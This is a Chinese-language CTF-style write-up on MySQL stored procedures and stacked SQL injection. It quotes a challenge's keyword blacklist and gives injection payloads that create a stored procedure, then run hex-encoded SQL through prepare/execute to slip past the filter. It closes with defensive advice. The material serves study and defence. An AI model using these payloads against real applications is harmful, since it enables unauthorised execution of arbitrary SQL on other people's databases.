浅析mysql存储过程
字数 1269 2025-08-13 21:33:20
MySQL存储过程与堆叠注入技术详解
一、堆叠注入基础概念
堆叠注入(Stacked injections)是一种SQL注入技术,允许攻击者通过分号(;)分隔执行多条SQL语句。与联合注入(UNION injection)相比,堆叠注入可以执行任意类型的SQL语句,而不仅仅是查询语句。
关键特点:
- 在MySQL命令行中,分号(;)表示语句结束
- 通过multi_query函数可以执行多条SQL语句
- 比联合注入更强大,可以执行CREATE、DROP、INSERT等非查询语句
二、题目环境分析
过滤机制
题目设置了以下过滤规则:
preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|\./i", $inject);
额外限制:
if(stristr($inject, "set") && stristr($inject, "prepare")){
echo "请不要同时输入set和prepare";
exit();
}
绕过思路
由于常规的SELECT等关键字被过滤,且set+prepare被禁止同时使用,需要寻找替代方案:
- 使用存储过程分离set和prepare操作
- 利用大小写绕过(原题stristr函数漏写'i'参数,但非重点)
三、MySQL存储过程详解
基本概念
存储过程(Stored Procedure)是数据库中存储的预编译SQL语句集合,具有以下特点:
- 可重复调用
- 支持参数传递
- 提高代码复用性
- 类比面向对象编程中的方法
参数类型
1. IN参数(输入参数)
- 只接受调用者传入的值
- 过程内部修改不会影响外部变量
示例:
delimiter
$$
set @p_in=1;
create procedure in_param(in p_in int)
begin
select p_in; -- 输出1
set p_in=2;
select p_in; -- 输出2
end
$$
delimiter ;
call in_param(@p_in);
select @p_in; -- 仍为1,过程内部修改不影响外部
2. OUT参数(输出参数)
- 初始值为NULL
- 过程内部修改会反映到外部
示例:
delimiter //
create procedure out_param(out p_out int)
begin
select p_out; -- 输出NULL
set p_out=2;
select p_out; -- 输出2
end//
delimiter ;
set @p_out=1;
call out_param(@p_out);
select @p_out; -- 输出2
3. INOUT参数
- 兼具IN和OUT特性
- 可传入初始值并可被过程修改
四、解题技术方案
分离set和prepare的思路
- 将set操作封装到存储过程中
- 通过两次调用分别完成set和prepare操作
具体步骤
第一步:创建存储过程
114514';
create procedure `{$uuid}`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
;--
{$uuid}:随机生成的存储过程名- out参数
string:用于输出预处理语句 - in参数
hex:传入要执行的SQL语句的16进制形式
第二步:调用存储过程并执行
114514';
call `{$uuid}`(@decoded, 0x{$sql});
prepare payload from @decoded;
execute payload;
;--
0x{$sql}:要执行的SQL语句的16进制编码- 存储过程将hex值赋给@decoded变量
- 然后prepare和execute执行该语句
替代方案
可以使用INOUT参数简化:
create procedure `{$uuid}`(inout string text(1024))
BEGIN
SET string = string;
END;
五、关键技术点总结
- 堆叠注入优势:可执行任意SQL语句,而不仅是查询
- 存储过程作用:封装代码,分离被过滤的关键字
- 参数类型选择:
- 需要传入值使用IN
- 需要获取结果使用OUT
- 两者都需要使用INOUT
- 绕过过滤技巧:
- 使用16进制编码绕过关键字检测
- 通过存储过程分离被禁止同时出现的关键字
六、防御建议
- 避免使用multi_query函数
- 使用参数化查询
- 严格过滤分号(;)等特殊字符
- 限制数据库用户权限,避免执行高危操作
- 对存储过程的使用进行监控和审计
七、实验建议
通过实际操作加深理解:
- 搭建测试环境,尝试基本的堆叠注入
- 实现存储过程的创建和调用
- 模拟题目环境,实践绕过过滤的技巧
- 尝试使用不同参数类型的存储过程
通过本技术文档,您应该能够深入理解MySQL存储过程在SQL注入中的应用,以及如何利用它们绕过安全限制。这种技术不仅适用于CTF比赛,也对理解数据库安全防护有重要价值。